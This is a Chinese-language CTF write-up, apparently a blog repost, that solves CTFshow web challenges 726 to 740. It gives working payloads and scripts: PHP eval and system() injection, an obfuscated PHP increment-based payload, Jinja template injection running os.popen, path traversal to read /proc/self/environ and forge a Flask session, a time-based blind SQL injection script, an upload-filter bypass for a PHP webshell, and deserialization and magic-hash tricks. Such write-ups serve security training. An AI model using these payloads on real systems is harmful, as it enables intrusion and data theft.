CTFSHOW大赛原题篇(web726-web740)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!

web726

username=;eval($_POST[1]);phpinfo();//
username=%00
同之前的web692

web727

自增绕过

$_=[];$_=$_.'';$_=$_[';'=='$'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

传入code=xxx&_=phpinfo();
不要忘了url编码

web728

flag在template目录下

code=',system('cat t*/f*'));//

相当于

strpos('',system('cat t*/f*'));//', '..') === false
strpos('',system('cat t*/f*'));

web729

strcmp可以用数组绕过
下面的是要求输入的secret长度为21,大小等于6543
直接往后面堆0就可以了。

GET:
?secret=6543.0000000000000000

POST:
flag[]=1

web730

https://github.com/osirislab/CSAW-CTF-2019-Finals/blob/0f9de48efda520134bfbe3f9b674ec19a4955057/web/biometric/main.py
题目更像是一个密码学题。。。。。(让人头大)
只能直接给大家奉上wp了。


import requests
import numpy as np
from scipy.optimize import minimize


def main():
    x0 = np.zeros([128]).tolist()
    res = minimize(get_score, x0, method='CG', options={
    
    'xtol': 1e-7, 'disp': True})
    print(res)
    res = get_request(res.x)
    print(res)

def get_request(encoding) -> str:
    payload = {
    
    "username": "admin", "encoding": encoding.tolist()}
    #print(encoding.tolist())
    res = requests.post("http://157d4038-cd05-4438-b0fd-632e2a5eb195.challenge.ctf.show/", json=payload)
    return res.content

def get_score(encoding)-> float:
    content = get_request(encoding)
    if str(content).find("Login Failed") < 0:
        res = 0
    else:
        res =  float(str(content).split(":")[-1][:-2].strip())
    return res

if __name__ == '__main__':
    main()

web731

查看源码

  $hash = sha1($_GET['hash']);
  $target = sha1(10932435112);
  if($hash == $target) {
    
    
      include('flag.php');
      print $flag;
  }

除此之外,731勿忘国耻
在这里插入图片描述
应该还有个判断输入的hash与10932435112不等。
而10932435112的sha1值刚好是0e开头的,且0e后面全是数字,所以可以找下其他字符串sha1值是0e开头,后面全是数字的。
md5中

QNKCDZO

240610708

S878926199a

s155964671a

s214587387a

sha1中

aaroZmOk

aaO8zKZF

aa3OFF9m

hash=aaroZmOk

web732

官方wp
https://github.com/K3vin3/CSICTF2020/tree/main/Secure%20Portal
一个好的js解密网站
http://www.jsnice.org/
填上一个赋值和打印
我们把第一个参数,第二个参数都打印出来就差不多可以拿到全部的密码了。
在这里插入图片描述
最后的密码
5W$Fbb=+nBE*pg4t^7M

web733

这个题有一定的迷惑性,在第一个类permissions中,我们其实没有什么可以利用的,所以这个类也就没什么用了。
第二个类有个读,有个写,但是这个写函数是永远不可能被调用的,所以只能用读函数了。
但是类中没有反序列化的入口,不过幸好在反序列化接收后有个调用函数。
$perm->is_guest();
而access_log类中没有该方法,就会进入catch,catch中字符串与类进行拼接,会触发类中的__toString函数,进而执行读函数。

<?php 

class access_log
{
    
    
	public $log_file='flag.php';

}
echo urlencode(base64_encode(serialize(new access_log())));

cookie中增加一个login,把值传进去就可以了。
flag在源码中。

web734

var md5=require('md5');
var A=[1];
var B='1';
var secret_key='abcd';
console.log(A.length);
console.log(B.length);
console.log((secret_key + A));
console.log((secret_key + B));

输出结果

1
1
abcd1
abcd1

payload

{"A":[1],"B":"1"}

或者

{"A":[1],"B":["1"]}

web735

python的模板注入题
过滤了单引号没有过滤双引号
过滤了点号可以用attr过滤器绕过
过滤了下划线_可以用16进制编码绕过
原始payload

{
   
   {config.__class__.__init__.__globals__['os'].popen('cat c*').read()}}

可能有同学会问这个怎么来的
在这里插入图片描述

替换后payload

{
   
   {(config|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f"))["os"]|attr("popen")("cat c*")|attr("read")()}}

web736

解密session可以得到{"balance":1336,"purchases":[]}

那么下面要做的就是伪造session了。
我们知道加密需要有个key,题目中正好存在一个任意文件下载。而key一般是在环境变量中,所以我们可以下载/proc/self/environ
?image=../../../../../proc/self/environ
得到keyctfshowsecretkeyhereyouneverknow
剩下的就是重新生成一个session了。可以利用

python3 flask_session_cookie_manager3.py encode -s "ctfshowsecretkeyhereyouneverknow" -t '{"balance":10000,"purchases":[]}'

工具下载地址https://github.com/noraj/flask-session-cookie-manager

web737

官方wphttps://github.com/sp1ral-vx/owasp-ukraine-ctf-2019-writeups/blob/master/01.md
这题真的很迷

import hashlib
import re

while True:
	h = hashlib.md5('flag.{}.php'.format(i)).hexdigest()[:8]
	if re.search(r'^[0]+e[0-9]+$', h):
		break
    i += 1
print('flag.{}.php'.format(i))

得到flag.1259.php
然后读取flag.1259.php
developers_mod_v7499.php?file=flag.1259.php

web738

整到原题的源码才知道怎么做,说实话不知道源码压根不知道干嘛。
https://github.com/Annihilat0r/owaspctf/tree/master/002shoppingcart
存在sql注入
在这里插入图片描述
这个$param_name是可控的,也就是我们get传入的键名
shopping-cart.php?0||if(1,sleep(3),0)%23=1
这样传值会有延时,group_concat没法用可以用limit
payload(注释的部分是查表名和列名的)

import requests 
import time
url="http://13fcadba-92c6-4607-b715-dea7d709c8bd.challenge.ctf.show/shopping-cart.php?action=empty&"
flag=''
s='0123456789-abcdef'
for i in range(9,45):
    print(i)
    for j in s:
        #print(j)
        l="0||if((substr((select secret from  secret),{0},1))like('{1}'),sleep(3),0)%23=1".format(i,j)
        u=url+l  
        t1=time.time()
        requests.get(u)
        t2=time.time()
        if(t2-t1>3):
            flag+=j
            print(flag)
            break
# for i in range(1,32):
#     print(i)
#     for j in range(95,127):
#         print(j)
#         #l="0||if(ascii(substr((select table_name from information_schema.tables where table_schema like database() limit 1,1),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)
#         #l="0||if(ascii(substr((select column_name from information_schema.columns where table_name like 'secret' limit 0,1),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)
#         l="0||if(ascii(substr((select secret from  secret),{0},1))like({1}),sleep(3),0)%23=1".format(i,j)

#         u=url+l  
#         t1=time.time()
#         requests.get(u)
#         t2=time.time()
#         if(t2-t1>3):
#             flag+=chr(j)
#             print(flag)
#             break

web739

上传xx.jpg.php绕过
图片在image目录下
另外利用一句话木马随便看了下源码,只要上传的文件名中有.jpg .png 等即可上传成功。

<?php
error_reporting(1);
$target_dir = "images/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST["submit"])) {
    
    

    $check = preg_match('/(.jpg|.jpeg|.png|.gif)/', $_FILES["fileToUpload"]["name"]);
    if($check !== 0) {
    
    

        $uploadOk = 1;
    } else {
    
    

        $uploadOk = 0;
    }

    if ($uploadOk == 0) {
    
    
        echo "非法文件类型";
    } else {
    
    
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    
    
            echo "文件上传成功";
        } else {
    
    
            echo "文件上传失败";
        }
    }
}


?>

web740

import requests  
import hashlib
a=[]
url="http://381ec5bf-2b46-4fcb-ac3d-38e92fcacd20.challenge.ctf.show/"
for i in range(0,32):
    for j in range(1000):
        md5=hashlib.md5(str(j).encode(encoding='UTF-8')).hexdigest()
        if('6'==md5[i]):
            a.append(j)
            break
for i in range(len(a)):
    data={
    
    'hash':a[i]}
    r=requests.post(url,data=data)
    print(r.text[i],end='')

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/123134688